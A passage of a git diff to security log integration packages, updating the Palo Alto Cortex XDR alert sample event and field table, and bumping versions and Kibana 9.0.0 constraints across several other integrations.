Protection\",\"os_actor_causality_id\":null,\"os_actor_effective_username\":null,\"os_actor_process_causality_id\":null,\"os_actor_process_command_line\":null,\"os_actor_process_image_name\":null,\"os_actor_process_image_path\":null,\"os_actor_process_image_sha256\":null,\"os_actor_process_instance_id\":null,\"os_actor_process_os_pid\":null,\"os_actor_process_signature_status\":\"N/A\",\"os_actor_process_signature_vendor\":null,\"os_actor_thread_thread_id\":null,\"story_id\":null,\"user_name\":null},\"external_id\":\"800800\",\"filter_rule_id\":null,\"host_ip\":[\"10.0.255.20\"],\"host_name\":\"Test\",\"is_whitelisted\":false,\"local_insert_ts\":1603279967500,\"mac\":null,\"mac_address\":[\"00:11:22:33:44:55\"],\"matching_service_rule_id\":null,\"matching_status\":\"FAILED\",\"mitre_tactic_id_and_name\":[\"\"],\"mitre_technique_id_and_name\":[\"\"],\"name\":\"Kernel Privilege Escalation\",\"severity\":\"high\",\"source\":\"XDR Agent\",\"starred\":false}", - "reason": "Local privilege escalation prevented", - "severity": 4, + "original": "{\"action\":\"DETECTED\",\"action_country\":[\"UNKNOWN\"],\"action_external_hostname\":null,\"action_file_macro_sha256\":null,\"action_file_md5\":null,\"action_file_name\":null,\"action_file_path\":null,\"action_file_sha256\":null,\"action_local_ip\":null,\"action_local_ip_v6\":null,\"action_local_port\":null,\"action_pretty\":\"Detected\",\"action_process_causality_id\":null,\"action_process_image_command_line\":null,\"action_process_image_name\":null,\"action_process_image_sha256\":null,\"action_process_instance_id\":null,\"action_process_signature_status\":[\"N/A\"],\"action_process_signature_vendor\":null,\"action_registry_data\":null,\"action_registry_full_key\":null,\"action_registry_key_name\":null,\"action_registry_value_name\":null,\"action_remote_ip\":null,\"action_remote_ip_v6\":null,\"action_remote_port\":null,\"actor_causality_id\":[\"\\u003cactor_causality_id\\u003e\"],\"actor_process_causality_id\":[\"\\u003cprocess_causality_id\\u003e\"],\"actor_process_command_line\":[\"\\u003ccommand_line\\u003e\"],\"actor_process_image_md5\":[\"\\u003cimage_md5\\u003e\"],\"actor_process_image_name\":[\"\\u003cimage_name\\u003e\"],\"actor_process_image_path\":[\"\\u003cimage_path\\u003e\"],\"actor_process_image_sha256\":[\"\\u003cimage_sha256\\u003e\"],\"actor_process_instance_id\":[\"\\u003cinstance_id\\u003e\"],\"actor_process_os_pid\":[996],\"actor_process_signature_status\":[\"Signed\"],\"actor_process_signature_vendor\":[\"\\u003csignature_vendor\\u003e\"],\"actor_thread_thread_id\":[7452],\"agent_data_collection_status\":null,\"agent_device_domain\":null,\"agent_fqdn\":null,\"agent_host_boot_time\":[1669128165772],\"agent_install_type\":\"STANDARD\",\"agent_ip_addresses_v6\":null,\"agent_is_vdi\":false,\"agent_os_sub_type\":\"\\u003cos_sub_type\\u003e\",\"agent_os_type\":\"\\u003cos_type\\u003e\",\"agent_version\":\"\\u003cagent_version\\u003e\",\"alert_id\":\"1\",\"alert_type\":\"Unclassified\",\"association_strength\":[50],\"attempt_counter\":0,\"bioc_category_enum_key\":null,\"bioc_indicator\":null,\"case_id\":9629,\"category\":\"\\u003ccategory\\u003e\",\"causality_actor_causality_id\":[\"\\u003ccausality_id\\u003e\"],\"causality_actor_process_command_line\":[\"\\u003ccommand_line\\u003e\"],\"causality_actor_process_execution_time\":[1669528171295],\"causality_actor_process_image_md5\":[\"\\u003cimage_md5\\u003e\"],\"causality_actor_process_image_name\":[\"\\u003cimage_name\\u003e\"],\"causality_actor_process_image_path\":[\"\\u003cimage_path\\u003e\"],\"causality_actor_process_image_sha256\":[\"\\u003csha256\\u003e\"],\"causality_actor_process_signature_status\":[\"Signed\"],\"causality_actor_process_signature_vendor\":[\"\\u003csignature_vendor\\u003e\"],\"cloud_provider\":null,\"cluster_name\":null,\"container_id\":null,\"contains_featured_host\":[\"NO\"],\"contains_featured_ip\":[\"NO\"],\"contains_featured_user\":[\"NO\"],\"deduplicate_tokens\":null,\"description\":\"The user domain\\\\username enabled a default account. The default account enabled: domain\\\\username\",\"detection_timestamp\":1569159363318,\"dns_query_name\":null,\"dss_country\":null,\"dss_department\":null,\"dss_groups\":null,\"dss_job_title\":null,\"dst_action_country\":null,\"dst_action_external_hostname\":null,\"dst_action_external_port\":null,\"dst_agent_id\":[\"\\u003cagent_id\\u003e\"],\"dst_association_strength\":null,\"dst_causality_actor_process_execution_time\":null,\"dynamic_fields\":null,\"end_match_attempt_ts\":null,\"endpoint_id\":\"\\u003cendpoint_id\\u003e\",\"event_id\":[\"\\u003cevent_id\\u003e\"],\"event_sub_type\":[1],\"event_timestamp\":[1701299363118],\"event_type\":[\"Process Execution\"],\"events\":null,\"external_id\":\"\\u003cexternal_id\\u003e\",\"filter_rule_id\":null,\"fw_app_category\":null,\"fw_app_id\":null,\"fw_app_subcategory\":null,\"fw_app_technology\":null,\"fw_device_name\":null,\"fw_email_recipient\":null,\"fw_email_sender\":null,\"fw_email_subject\":null,\"fw_interface_from\":null,\"fw_interface_to\":null,\"fw_is_phishing\":[\"N/A\"],\"fw_misc\":null,\"fw_rule\":null,\"fw_rule_id\":null,\"fw_serial_number\":null,\"fw_url_domain\":null,\"fw_vsys\":null,\"fw_xff\":null,\"host_ip\":[\"192.168.2.2\"],\"host_name\":\"\\u003chost_name\\u003e\",\"identity_sub_type\":null,\"identity_type\":null,\"image_name\":null,\"is_pcap\":false,\"is_whitelisted\":false,\"last_modified_ts\":null,\"local_insert_ts\":1673372647792,\"mac_addresses\":null,\"matching_service_rule_id\":\"\\u003cservice_rule_id\\u003e\",\"matching_status\":\"MATCHED\",\"mitre_tactic_id_and_name\":[\"TA0005 - Defense Evasion\"],\"mitre_technique_id_and_name\":[\"T1089 - Disabling Security Tools\"],\"module_id\":null,\"name\":\"A user enabled the Windows DefaultAccount\",\"operation_name\":null,\"original_tags\":[\"EG:k8s agents\",\"EG:windows\",\"ET:DESKTOP-FCCIPAN\"],\"os_actor_causality_id\":null,\"os_actor_effective_username\":null,\"os_actor_process_causality_id\":[\"\\u003cprocess_causality_id\\u003e\"],\"os_actor_process_command_line\":[\"\\u003ccommand_line\\u003e\"],\"os_actor_process_image_name\":[\"\\u003cimage_name\\u003e\"],\"os_actor_process_image_path\":[\"\\u003cimage_path\\u003e\"],\"os_actor_process_image_sha256\":[\"\\u003cimage_sha256\\u003e\"],\"os_actor_process_instance_id\":[\"\\u003cinstance_id\\u003e\"],\"os_actor_process_os_pid\":[996],\"os_actor_process_signature_status\":[\"Signed\"],\"os_actor_process_signature_vendor\":[\"\\u003cSignature_vendor\\u003e\"],\"os_actor_thread_thread_id\":[7205],\"project\":null,\"referenced_resource\":null,\"resolution_comment\":null,\"resolution_status\":\"STATUS_010_NEW\",\"resource_sub_type\":null,\"resource_type\":null,\"severity\":\"low\",\"source\":null,\"starred\":true,\"story_id\":null,\"tags\":[\"ET:DESKTOP-FCCIPAN\",\"EG:k8s agents\",\"EG:windows\"],\"user_agent\":null,\"user_name\":[\"\\u003cuser_name\\u003e\"]}", + "reason": "The user domain\\username enabled a default account. The default account enabled: domain\\username", + "severity": 2, "type": [ "info" ] }, "host": { - "hostname": "test", - "id": "12345678", + "hostname": "", + "id": "", "ip": [ - "10.0.255.20" + "192.168.2.2" ], - "name": "test", + "name": "", "os": { - "name": "Windows", - "version": "XP" + "name": "", + "version": "" } }, "input": { - "type": "httpjson" + "type": "cel" }, - "message": "Kernel Privilege Escalation", + "message": "A user enabled the Windows DefaultAccount", "panw_cortex": { "xdr": { - "action_pretty": "Prevented (Blocked)", - "agent_data_collection_status": true, - "agent_version": "1.2.3.4", - "alert_id": "1001", - "attempt_counter": 55, - "category": "Exploit", - "end_match_attempt_ts": "2020-10-24T15:07:42.824Z", - "events": { - "actor_process_signature_status": "N/A", - "agent_install_type": "NA", - "event_type": "Process Execution", - "fw_is_phishing": "N/A", - "module_id": "Privilege Escalation Protection", - "os_actor_process_signature_status": "N/A" - }, + "action_country": [ + "UNKNOWN" + ], + "action_pretty": "Detected", + "actor_causality_id": [ + "" + ], + "actor_process_causality_id": [ + "" + ], + "actor_process_signature_status": [ + "Signed" + ], + "agent_host_boot_time": "2022-11-22T14:42:45.772Z", + "agent_install_type": "STANDARD", + "agent_is_vdi": false, + "agent_version": "", + "alert_id": "1", + "alert_type": "Unclassified", + "association_strength": [ + 50 + ], + "attempt_counter": 0, + "case_id": 9629, + "category": "", + "contains_featured_host": [ + "NO" + ], + "contains_featured_ip": [ + "NO" + ], + "contains_featured_user": [ + "NO" + ], + "dst_agent_id": [ + "" + ], + "event_id": [ + "" + ], + "event_sub_type": [ + 1 + ], + "event_type": [ + "Process Execution" + ], + "fw_is_phishing": [ + "N/A" + ], + "is_pcap": false, "is_whitelisted": false, - "local_insert_ts": "2020-10-21T11:32:47.500Z", - "mac_address": [ - "00:11:22:33:44:55" + "local_insert_ts": "2023-01-10T17:44:07.792Z", + "matching_service_rule_id": "", + "matching_status": "MATCHED", + "original_tags": [ + "EG:k8s agents", + "EG:windows", + "ET:DESKTOP-FCCIPAN" + ], + "os_actor_process_causality_id": [ + "" + ], + "os_actor_process_command_line": [ + "" + ], + "os_actor_process_image_name": [ + "" + ], + "os_actor_process_image_path": [ + "" + ], + "os_actor_process_image_sha256": [ + "" + ], + "os_actor_process_instance_id": [ + "" ], - "matching_status": "FAILED", - "source": "XDR Agent", - "starred": false + "os_actor_process_os_pid": [ + 996 + ], + "os_actor_process_signature_status": [ + "Signed" + ], + "os_actor_process_signature_vendor": [ + "" + ], + "os_actor_thread_thread_id": [ + 7205 + ], + "resolution_status": "STATUS_010_NEW", + "starred": true } }, "process": { "code_signature": { - "status": "N/A" + "status": [ + "N/A" + ], + "subject_name": [ + "" + ] }, - "command_line": "c:\\tmp\\virus.exe", - "entity_id": "1234", - "executable": "c:\\tmp\\virus.exe", + "command_line": [ + "" + ], + "entity_id": [ + "" + ], + "executable": [ + "" + ], "hash": { - "sha256": "133ee989293f92736301280c6f14c89d521200c17dcdcecca30cd20705332d44" + "md5": [ + "" + ], + "sha256": [ + "" + ] }, - "name": "virus.exe", + "name": [ + "" + ], "parent": { "code_signature": { - "status": "N/A" - } + "status": [ + "Signed" + ], + "subject_name": [ + "" + ] + }, + "command_line": [ + "" + ], + "entity_id": [ + "" + ], + "executable": [ + "" + ], + "hash": { + "md5": [ + "" + ], + "sha256": [ + "" + ] + }, + "name": [ + "" + ], + "uptime": [ + 1669528171295 + ] }, - "pid": 1234 + "pid": [ + 996 + ], + "thread": { + "id": [ + 7452 + ] + } }, "related": { "hash": [ - "133ee989293f92736301280c6f14c89d521200c17dcdcecca30cd20705332d44" + "", + "", + "" + ], + "user": [ + "" ] }, + "source": { + "user": { + "name": "" + } + }, "tags": [ "preserve_original_event", "forwarded", - "panw_cortex_xdr" - ] + "panw_cortex_xdr", + "ET:DESKTOP-FCCIPAN", + "EG:k8s agents", + "EG:windows" + ], + "threat": { + "framework": "MITRE ATT&CK", + "tactic": { + "id": [ + "TA0005" + ], + "name": [ + "Defense Evasion" + ] + }, + "technique": { + "id": [ + "T1089" + ], + "name": [ + "Disabling Security Tools" + ] + } + }, + "user": { + "name": "" + } } ``` @@ -144,22 +300,81 @@ An example event for `alerts` looks as following: | input.type | Type of Filebeat input. | keyword | | log.flags | Flags for the log file. | keyword | | log.offset | Offset of the entry in the log file. | long | +| panw_cortex.xdr.action_country | | keyword | +| panw_cortex.xdr.action_external_hostname | Any external hostname related to the specific event action. | keyword | +| panw_cortex.xdr.action_file_macro_sha256 | | keyword | +| panw_cortex.xdr.action_local_ip | | ip | +| panw_cortex.xdr.action_local_ip_v6 | | ip | +| panw_cortex.xdr.action_local_port | | long | | panw_cortex.xdr.action_pretty | Pretty description of the action type. | keyword | +| panw_cortex.xdr.action_process_causality_id | The parent processor ID related to the action. | keyword | +| panw_cortex.xdr.action_process_signature_status | | keyword | +| panw_cortex.xdr.action_remote_ip | | ip | +| panw_cortex.xdr.action_remote_ip_v6 | | ip | +| panw_cortex.xdr.action_remote_port | | long | +| panw_cortex.xdr.actor_causality_id | The parent process ID of the actor process. | keyword | +| panw_cortex.xdr.actor_process_causality_id | The parent processor ID related to the actor. | keyword | +| panw_cortex.xdr.actor_process_command_line | Actor full command line. | keyword | +| panw_cortex.xdr.actor_process_image_md5 | | keyword | +| panw_cortex.xdr.actor_process_image_name | Actor binary name. | keyword | +| panw_cortex.xdr.actor_process_image_path | | keyword | +| panw_cortex.xdr.actor_process_image_sha256 | SHA256 hash indentifier of the actor. | keyword | +| panw_cortex.xdr.actor_process_instance_id | The process ID related to the actor. | keyword | +| panw_cortex.xdr.actor_process_os_pid | | long | +| panw_cortex.xdr.actor_process_signature_status | The signature of the actor process. | keyword | +| panw_cortex.xdr.actor_process_signature_vendor | The signature vendor of the actor process. | keyword | +| panw_cortex.xdr.actor_thread_thread_id | | long | | panw_cortex.xdr.agent_data_collection_status | Collection status of the agent. | boolean | +| panw_cortex.xdr.agent_host_boot_time | Uptime of the host. | date | +| panw_cortex.xdr.agent_install_type | Display name of the actor. | keyword | | panw_cortex.xdr.agent_ip_addresses_v6 | Agent ipv6 address | ip | -| panw_cortex.xdr.agent_is_vdi | If agent is running inside a Virtual Desktop. | keyword | +| panw_cortex.xdr.agent_is_vdi | If agent is running inside a Virtual Desktop. | boolean | | panw_cortex.xdr.agent_version | Version of the XDR Endpoint agent. | keyword | | panw_cortex.xdr.alert_id | The ID of the alert. | keyword | | panw_cortex.xdr.alert_type | The type of the alert. | keyword | +| panw_cortex.xdr.association_strength | | long | | panw_cortex.xdr.attempt_counter | Attempts to block or stop the malicious process. | long | | panw_cortex.xdr.bioc_category_enum_key | Behavior Indicator type key. | keyword | | panw_cortex.xdr.bioc_description | A description of the related bioc event. | flattened | | panw_cortex.xdr.bioc_indicator | The Behavioral Indicator type matching to the event. | keyword | +| panw_cortex.xdr.case_id | | long | | panw_cortex.xdr.category | The Alert category. | keyword | +| panw_cortex.xdr.causality_actor_causality_id | | keyword | +| panw_cortex.xdr.causality_actor_process_command_line | | keyword | +| panw_cortex.xdr.causality_actor_process_execution_time | | long | +| panw_cortex.xdr.causality_actor_process_image_md5 | | keyword | +| panw_cortex.xdr.causality_actor_process_image_name | | keyword | +| panw_cortex.xdr.causality_actor_process_image_path | | keyword | +| panw_cortex.xdr.causality_actor_process_image_sha256 | | keyword | +| panw_cortex.xdr.causality_actor_process_signature_status | | keyword | +| panw_cortex.xdr.causality_actor_process_signature_vendor | | keyword | +| panw_cortex.xdr.cloud_provider | | keyword | +| panw_cortex.xdr.cluster_name | | keyword | +| panw_cortex.xdr.container_id | | keyword | +| panw_cortex.xdr.contains_featured_host | | keyword | +| panw_cortex.xdr.contains_featured_ip | | keyword | +| panw_cortex.xdr.contains_featured_user | | keyword | | panw_cortex.xdr.deduplicate_tokens | | keyword | | panw_cortex.xdr.description | A description of the related event. | keyword | +| panw_cortex.xdr.detection_timestamp | | date | +| panw_cortex.xdr.dns_query_name | The related DNS query for the event. | keyword | +| panw_cortex.xdr.dss_country | | keyword | +| panw_cortex.xdr.dss_department | | keyword | +| panw_cortex.xdr.dss_groups | | keyword | +| panw_cortex.xdr.dss_job_title | | keyword | +| panw_cortex.xdr.dst_action_country | The country related to the destination. | keyword | +| panw_cortex.xdr.dst_action_external_hostname | The external hostname of the destination. | keyword | +| panw_cortex.xdr.dst_action_external_port | The external (NAT) port of the destination. | keyword | +| panw_cortex.xdr.dst_agent_id | The endpoint ID of a destination agent. | keyword | +| panw_cortex.xdr.dst_association_strength | | long | +| panw_cortex.xdr.dst_causality_actor_process_execution_time | The process execution time of the destination process. | keyword | +| panw_cortex.xdr.dynamic_fields | | keyword | | panw_cortex.xdr.end_match_attempt_ts | | date | | panw_cortex.xdr.endpoint_id | The unique ID of the endpoint. | keyword | +| panw_cortex.xdr.event_id | The ID unique to the underlying event related to the alert. | keyword | +| panw_cortex.xdr.event_sub_type | Sub type of the event related to the alert. | integer | +| panw_cortex.xdr.event_timestamp | | date | +| panw_cortex.xdr.event_type | Event type | keyword | | panw_cortex.xdr.events.action_country | | keyword | | panw_cortex.xdr.events.action_external_hostname | Any external hostname related to the specific event action. | keyword | | panw_cortex.xdr.events.action_file_macro_sha256 | | keyword | @@ -217,18 +432,61 @@ An example event for `alerts` looks as following: | panw_cortex.xdr.events.story_id | | keyword | | panw_cortex.xdr.external_id | External ID related to the Alert itself. | keyword | | panw_cortex.xdr.filter_rule_id | ID of the filter rule. | keyword | +| panw_cortex.xdr.fw_app_category | Layer 7 application category related to the firewall event. | keyword | +| panw_cortex.xdr.fw_app_id | The layer 7 application ID from the firewall event. | keyword | +| panw_cortex.xdr.fw_app_subcategory | Layer 7 application subcategory related to the firewall event. | keyword | +| panw_cortex.xdr.fw_app_technology | Layer 7 application type related to the firewall event. | keyword | +| panw_cortex.xdr.fw_device_name | Related firewall device. | keyword | +| panw_cortex.xdr.fw_email_recipient | | keyword | +| panw_cortex.xdr.fw_email_sender | | keyword | +| panw_cortex.xdr.fw_email_subject | | keyword | +| panw_cortex.xdr.fw_is_phishing | If event is related to a phishing campaign. | keyword | +| panw_cortex.xdr.fw_misc | Additional information related to the firewall event. | keyword | +| panw_cortex.xdr.fw_url_domain | Related domain to the firewall event. | keyword | +| panw_cortex.xdr.fw_vsys | The related VSYS name if applicable. | keyword | +| panw_cortex.xdr.fw_xff | | keyword | +| panw_cortex.xdr.identity_sub_type | | keyword | +| panw_cortex.xdr.identity_type | | keyword | +| panw_cortex.xdr.image_name | | keyword | | panw_cortex.xdr.is_pcap | If alert contains pcap. | boolean | | panw_cortex.xdr.is_whitelisted | If process is whitelisted. | boolean | +| panw_cortex.xdr.last_modified_ts | | date | | panw_cortex.xdr.local_insert_ts | | date | | panw_cortex.xdr.mac | Main MAC address of the agent. | keyword | | panw_cortex.xdr.mac_address | Array of all the MAC addresses related to the agent. | keyword | +| panw_cortex.xdr.mac_addresses | | keyword | | panw_cortex.xdr.matching_service_rule_id | | keyword | | panw_cortex.xdr.matching_status | Matching status of the endpoint group. | keyword | +| panw_cortex.xdr.mitre_tactic_id_and_name | | keyword | +| panw_cortex.xdr.mitre_technique_id_and_name | | keyword | +| panw_cortex.xdr.module_id | The ID of the module that caught the event. | keyword | +| panw_cortex.xdr.operation_name | | keyword | | panw_cortex.xdr.original_tags | Original tags for the asset. | keyword | +| panw_cortex.xdr.os_actor_causality_id | The ID of the OS actor process | keyword | +| panw_cortex.xdr.os_actor_effective_username | Username related to the OS actor. | keyword | +| panw_cortex.xdr.os_actor_process_causality_id | The ID of the parent process related to the OS actor. | keyword | +| panw_cortex.xdr.os_actor_process_command_line | OS actor full command line example. | keyword | +| panw_cortex.xdr.os_actor_process_image_name | OS actor binary name. | keyword | +| panw_cortex.xdr.os_actor_process_image_path | OS actor binary path. | keyword | +| panw_cortex.xdr.os_actor_process_image_sha256 | SHA256 hash indentifier of the OS actor process. | keyword | +| panw_cortex.xdr.os_actor_process_instance_id | The process ID related to the OS actor. | keyword | +| panw_cortex.xdr.os_actor_process_os_pid | The OS PID related to the related process. | integer | +| panw_cortex.xdr.os_actor_process_signature_status | Signature of the OS actor process. | keyword | +| panw_cortex.xdr.os_actor_process_signature_vendor | Signature vendor of the OS actor process. | keyword | +| panw_cortex.xdr.os_actor_thread_thread_id | The thread ID related to the related OS actor process. | integer | +| panw_cortex.xdr.project | | keyword | +| panw_cortex.xdr.referenced_resource | | keyword | | panw_cortex.xdr.resolution_comment | | keyword | | panw_cortex.xdr.resolution_status | | keyword | +| panw_cortex.xdr.resource_sub_type | | keyword | +| panw_cortex.xdr.resource_type | | keyword | +| panw_cortex.xdr.severity | | keyword | | panw_cortex.xdr.source | | keyword | | panw_cortex.xdr.starred | If alert type is prioritized (starred). | boolean | +| panw_cortex.xdr.story_id | | keyword | +| panw_cortex.xdr.tags | | keyword | +| panw_cortex.xdr.user_agent | | keyword | +| panw_cortex.xdr.user_name | | keyword | ### Incidents diff --git a/packages/panw_cortex_xdr/manifest.yml b/packages/panw_cortex_xdr/manifest.yml index 43a237f08d7..0e763ddff8d 100644 --- a/packages/panw_cortex_xdr/manifest.yml +++ b/packages/panw_cortex_xdr/manifest.yml @@ -1,13 +1,13 @@ name: panw_cortex_xdr title: Palo Alto Cortex XDR -version: "1.32.1" +version: "2.1.0" description: Collect logs from Palo Alto Cortex XDR with Elastic Agent. type: integration format_version: "3.0.2" categories: [security, edr_xdr] conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" icons: - src: /img/icon-cortex.svg title: Palo Alto @@ -19,8 +19,11 @@ policy_templates: description: Collect logs from Palo Alto Cortex XDR API inputs: - type: httpjson - title: "Collect logs from Palo Alto Cortex XDR" - description: "Collect logs from Palo Alto Cortex XDR (input: httpjson)" + title: "Collect logs from Palo Alto Cortex XDR using HTTPJSON input" + description: "Collect logs from Palo Alto Cortex XDR using HTTPJSON input" + - type: cel + title: "Collect logs from Palo Alto Cortex XDR using CEL input" + description: "Collect logs from Palo Alto Cortex XDR using CEL input" owner: github: elastic/security-service-integrations type: elastic diff --git a/packages/ping_federate/changelog.yml b/packages/ping_federate/changelog.yml index aeb1b3e6273..ef9707a6421 100644 --- a/packages/ping_federate/changelog.yml +++ b/packages/ping_federate/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "0.2.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "0.1.1" changes: - description: Updated SSL description to be uniform and to include links to documentation. diff --git a/packages/ping_federate/manifest.yml b/packages/ping_federate/manifest.yml index 2f9a2de3ced..b06d3ddc2c8 100644 --- a/packages/ping_federate/manifest.yml +++ b/packages/ping_federate/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.2.1 name: ping_federate title: PingFederate -version: 0.1.1 +version: "0.2.0" description: Collect logs from PingFederate with Elastic Agent. type: integration categories: @@ -9,7 +9,7 @@ categories: - authentication conditions: kibana: - version: ^8.16.0 + version: "^8.16.0 || ^9.0.0" elastic: subscription: basic screenshots: diff --git a/packages/ping_one/changelog.yml b/packages/ping_one/changelog.yml index ebfa852596f..19e30f7aed0 100644 --- a/packages/ping_one/changelog.yml +++ b/packages/ping_one/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.19.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.18.1" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/ping_one/manifest.yml b/packages/ping_one/manifest.yml index 4c3b7769091..962fdeefd1c 100644 --- a/packages/ping_one/manifest.yml +++ b/packages/ping_one/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.2" name: ping_one title: PingOne -version: "1.18.1" +version: "1.19.0" description: Collect logs from PingOne with Elastic-Agent. type: integration categories: @@ -9,7 +9,7 @@ categories: - iam conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" screenshots: - src: /img/ping-one-dashboard.png title: PingOne Audit Dashboard Screenshot diff --git a/packages/pps/changelog.yml b/packages/pps/changelog.yml index 21a182f672c..55c3f31f29e 100644 --- a/packages/pps/changelog.yml +++ b/packages/pps/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "0.5.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "0.4.1" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/pps/manifest.yml b/packages/pps/manifest.yml index c01d9ffc883..5bd2e2c077b 100644 --- a/packages/pps/manifest.yml +++ b/packages/pps/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.0.3 name: pps title: "Pleasant Password Server" -version: "0.4.1" +version: "0.5.0" source: license: "Apache-2.0" description: "Integration for Pleasant Password Server Syslog Messages" @@ -12,7 +12,7 @@ categories: - security conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" elastic: subscription: "basic" icons: diff --git a/packages/prisma_access/changelog.yml b/packages/prisma_access/changelog.yml index eeeeb71a084..0aeaafa9584 100644 --- a/packages/prisma_access/changelog.yml +++ b/packages/prisma_access/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.5.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.4.0" changes: - description: Handle array PanOSDNSResponse values. diff --git a/packages/prisma_access/manifest.yml b/packages/prisma_access/manifest.yml index d005c1048cb..caf36a07220 100644 --- a/packages/prisma_access/manifest.yml +++ b/packages/prisma_access/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.1.4 name: prisma_access title: Palo Alto Prisma Access -version: 1.4.0 +version: "1.5.0" description: Collect logs from Palo Alto Prisma Access with Elastic Agent. type: integration categories: @@ -9,7 +9,7 @@ categories: - network conditions: kibana: - version: ^8.13.0 + version: "^8.13.0 || ^9.0.0" elastic: subscription: "basic" screenshots: diff --git a/packages/prisma_cloud/changelog.yml b/packages/prisma_cloud/changelog.yml index ef3c1b4187f..7b310d663dc 100644 --- a/packages/prisma_cloud/changelog.yml +++ b/packages/prisma_cloud/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "2.1.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "2.0.2" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/prisma_cloud/manifest.yml b/packages/prisma_cloud/manifest.yml index 52e9118e331..501b747900c 100644 --- a/packages/prisma_cloud/manifest.yml +++ b/packages/prisma_cloud/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.0.3 name: prisma_cloud title: "Palo Alto Prisma Cloud" -version: "2.0.2" +version: "2.1.0" description: "Collect logs from Prisma Cloud with Elastic Agent." type: integration categories: @@ -9,7 +9,7 @@ categories: - cloudsecurity_cdr conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" elastic: subscription: "basic" screenshots: diff --git a/packages/problemchild/changelog.yml b/packages/problemchild/changelog.yml index 16f42917e25..0d8c10ace92 100644 --- a/packages/problemchild/changelog.yml +++ b/packages/problemchild/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "2.3.0" + changes: + - description: Add support for Kibana `9.0.0` + type: enhancement + link: https://github.com/elastic/integrations/pull/12940 - version: "2.2.1" changes: - description: Add agent policy documentation diff --git a/packages/problemchild/manifest.yml b/packages/problemchild/manifest.yml index 583d4205851..470911c4a06 100644 --- a/packages/problemchild/manifest.yml +++ b/packages/problemchild/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.0.0 name: problemchild title: "Living off the Land Attack Detection" -version: 2.2.1 +version: 2.3.0 source: license: "Elastic-2.0" description: "ML solution package to detect Living off the Land (LotL) attacks in your environment. Requires a Platinum subscription." @@ -11,7 +11,7 @@ categories: - advanced_analytics_ueba conditions: kibana: - version: '^8.9.0' + version: "^8.9.0 || ^9.0.0" elastic: subscription: platinum capabilities: diff --git a/packages/proofpoint_on_demand/changelog.yml b/packages/proofpoint_on_demand/changelog.yml index a9843364019..2e51c367078 100644 --- a/packages/proofpoint_on_demand/changelog.yml +++ b/packages/proofpoint_on_demand/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.5.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.4.0" changes: - description: Added new advanced config options for blanket & infinite retries while updating default retry values. diff --git a/packages/proofpoint_on_demand/manifest.yml b/packages/proofpoint_on_demand/manifest.yml index a27b7f2bc42..e7b341bbcbe 100644 --- a/packages/proofpoint_on_demand/manifest.yml +++ b/packages/proofpoint_on_demand/manifest.yml @@ -1,14 +1,14 @@ format_version: 3.1.4 name: proofpoint_on_demand title: Proofpoint On Demand -version: 1.4.0 +version: "1.5.0" description: Collect logs from Proofpoint On Demand with Elastic Agent. type: integration categories: - security conditions: kibana: - version: "^8.16.3 || ^8.17.1" + version: "^8.16.3 || ^8.17.1 || ^9.0.0" elastic: subscription: basic icons: diff --git a/packages/proofpoint_tap/changelog.yml b/packages/proofpoint_tap/changelog.yml index 834db09f948..df91d61afa9 100644 --- a/packages/proofpoint_tap/changelog.yml +++ b/packages/proofpoint_tap/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.27.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.26.1" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/proofpoint_tap/manifest.yml b/packages/proofpoint_tap/manifest.yml index e44e2cebfb3..d2067f21b7b 100644 --- a/packages/proofpoint_tap/manifest.yml +++ b/packages/proofpoint_tap/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.3" name: proofpoint_tap title: Proofpoint TAP -version: "1.26.1" +version: "1.27.0" description: Collect logs from Proofpoint TAP with Elastic Agent. type: integration categories: @@ -9,7 +9,7 @@ categories: - email_security conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" screenshots: - src: /img/proofpoint_tap-screenshot.png title: Proofpoint TAP blocked clicks dashboard screenshot diff --git a/packages/pulse_connect_secure/changelog.yml b/packages/pulse_connect_secure/changelog.yml index 49326b2f67c..b584877837e 100644 --- a/packages/pulse_connect_secure/changelog.yml +++ b/packages/pulse_connect_secure/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "2.5.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "2.4.1" changes: - description: Updated SSL description to be uniform and to include links to 